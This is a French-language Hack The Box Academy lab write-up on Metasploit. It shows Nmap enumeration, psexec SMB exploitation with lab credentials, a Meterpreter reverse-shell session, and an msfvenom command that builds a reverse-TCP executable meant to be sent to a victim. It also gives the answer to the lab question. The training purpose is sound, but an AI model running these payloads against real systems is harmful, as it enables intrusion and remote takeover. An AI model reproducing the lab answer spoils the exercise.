Automating Payloads & Delivery with Metasploit
Metasploit est un framework d'attaque automatisée développé par Rapid7. Il facilite considérablement l'exploitation des vulnérabilités grùce à des modules préconstruits, simples à configurer, permettant de livrer des payloads (charges utiles) et d'obtenir un shell sur une cible vulnérable.
Metasploit est si efficace que certains organismes de formation en cybersĂ©curitĂ© limitent son utilisation durant les examens pratiques. Chez Hack The Box, l'expĂ©rimentation est encouragĂ©e afin d'acquĂ©rir une comprĂ©hension approfondie des outils. En situation rĂ©elle, la maĂźtrise des outils est cruciale : une mauvaise utilisation peut causer des dommages lors dâun test dâintrusion ou dâun audit.
Dans cette section, nous utilisons la version communautaire de Metasploit sur Pwnbox pour manipuler des modules prĂ©dĂ©finis et crĂ©er des payloads avec MSFVenom. Il est utile de savoir quâune version professionnelle existe (Metasploit Pro), largement utilisĂ©e dans lâindustrie.
đ§Ș Lancer Metasploit
Pour débuter, nous lançons la console Metasploit avec les droits root :
sudo msfconsole
Une banniĂšre ASCII sâaffiche, accompagnĂ©e de statistiques sur les modules disponibles :
2131 exploits
592 payloads
Ces chiffres varient selon les mises Ă jour du framework ou lâajout manuel de modules.
đ Phase d'ĂnumĂ©ration avec Nmap
Avant de choisir un module Metasploit, une phase de reconnaissance est nécessaire. Voici un exemple de scan Nmap :
nmap -sC -sV -Pn <IP CIBLE>
Exemple de résultats :
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10
Le port 445 (SMB) est une piste intĂ©ressante pour lâexploitation.
đ§° Recherche de Modules SMB dans Metasploit
Dans la console Metasploit :
search smb
Cette commande affiche tous les modules liés au protocole SMB. Exemple de module :
56 exploit/windows/smb/psexec
Détails :
exploit/ : type de module
windows/ : plateforme cible
smb/ : service vulnérable
psexec : outil utilisé pour exécuter du code à distance
Sélection du module :
use 56
La console change :
msf6 exploit(windows/smb/psexec) >
Metasploit sélectionne par défaut le payload :
windows/meterpreter/reverse_tcp
âïž Configuration du Module
Visualisation des options disponibles :
options
Exemples dâoptions importantes :
RHOSTS
: Adresse IP de la cibleRPORT
: Port du service SMB (par défaut : 445)SMBUser
/SMBPass
: Crédentiels SMB si nécessairesLHOST
: Adresse IP de lâattaquant (interface dâĂ©coute)LPORT
: Port dâĂ©coute sur la machine attaquante
Exemple de configuration :
set RHOSTS <IP CIBLE>
set SMBUser <nom_utilisateur>
set SMBPass <mot_de_passe>
set LHOST <IP ATTAQUANT>
set LPORT 4444
đ ExĂ©cution de lâExploit
Une fois les options définies :
exploit
Si la cible est vulnérable, une session Meterpreter est ouverte. Cette shell avancée permet de nombreuses actions post-exploitation :
Navigation de fichiers
Capture de captures dâĂ©cran
Dump des mots de passe
Escalade de privilĂšges
đ ïž MSFVenom : GĂ©nĂ©ration de Payloads PersonnalisĂ©s
Metasploit intĂšgre lâoutil MSFVenom pour crĂ©er des payloads personnalisĂ©s, souvent utilisĂ©s pour gĂ©nĂ©rer des fichiers malveillants :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP ATTAQUANT> LPORT=4444 -f exe -o payload.exe
Options clés :
-p
: Payload Ă utiliser-f
: Format du fichier généré-o
: Nom du fichier de sortie
Ce fichier peut ensuite ĂȘtre transfĂ©rĂ© Ă la victime via un vecteur dâingĂ©nierie sociale ou dâexploitation.
â ïž Recommandations & SĂ©curitĂ©
Comprendre les options et les consĂ©quences dâun module est essentiel avant de lâexĂ©cuter.
Ne jamais exĂ©cuter des modules Metasploit Ă lâaveugle sur des systĂšmes de production.
Toujours tester dans un environnement isolé ou autorisé.
đ Ressources utiles
What command language interpreter is used to establish a system shell session with the target?
Nous savons que la cible est un poste Windows, donc l'interpreteur pour avoir une sessions shell est PowerShell
.
Exploit the target using what you've learned in this section, then submit the name of the file located in htb-student's Documents folder. (Format: filename.extension)
Nous effectuons un scan de notre cible :
$ nmap -sC -sV 10.129.201.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 03:11 CDT
PORT STATE SERVICE VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime Microsoft Windows USA daytime
17/tcp open qotd Windows qotd (English)
19/tcp open chargen
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 10 Pro 18363 microsoft-ds (workgroup: WORKGROUP)
2179/tcp open vmrdp?
Nmap done: 1 IP address (1 host up) scanned in 188.19 seconds
Nous executons Metasploit :
sudo msfconsole
Une fois lancé, nous cherchons un exploit de psexec concernant SMB, port trouvé lors du scan de notre cible :
[msf](Jobs:0 Agents:0) >> search smb exploit psexec
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution
[...] . . . .
22 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
[...]
[msf](Jobs:0 Agents:0) >> use 22
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
Une fois notre exploit choisi, nous modifions les options de ce dernier en fonction des différentes informations que l'on possÚde :
[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set rhost 10.129.201.160
rhost => 10.129.201.160
[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set smbpass HTB_@cademy_stdnt!
smbpass => HTB_@cademy_stdnt!
[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set smbuser htb-student
smbuser => htb-student
[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set lhost 10.10.14.171
lhost => 10.10.14.171
Une fois les options renseignées, nous pouvons exécuter notre exploit :
[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> exploit
[*] Started reverse TCP handler on 10.10.14.171:4444
[*] 10.129.201.160:445 - Connecting to the server...
[*] 10.129.201.160:445 - Authenticating to 10.129.201.160:445 as user 'htb-student'...
[*] 10.129.201.160:445 - Selecting PowerShell target
[*] 10.129.201.160:445 - Executing the payload...
[+] 10.129.201.160:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 10.129.201.160
[*] Meterpreter session 1 opened (10.10.14.171:4444 -> 10.129.201.160:49875) at 2025-07-03 03:40:28 -0500
(Meterpreter 1)(C:\Windows\system32) >
Nous pouvons donc observer la connexion effective Ă notre cible.
Une fois la connexion établie, nous pouvons lister le répertoire des documents de l'utilisateur htb-student et observer quel fichier est présent :
(Meterpreter 2)(C:\Windows\system32) > ls ../../Users/htb-student/Documents
Listing: ../../Users/htb-student/Documents
==========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2021-10-16 11:08:05 -0500 My Music
040777/rwxrwxrwx 0 dir 2021-10-16 11:08:05 -0500 My Pictures
040777/rwxrwxrwx 0 dir 2021-10-16 11:08:05 -0500 My Videos
100666/rw-rw-rw- 402 fil 2021-10-16 11:08:07 -0500 desktop.ini
100666/rw-rw-rw- 268 fil 2021-10-16 15:16:01 -0500 staffsalaries.txt
Nous pouvons alors observer la présence du fichier staffsalaries.txt
.
Mis Ă jour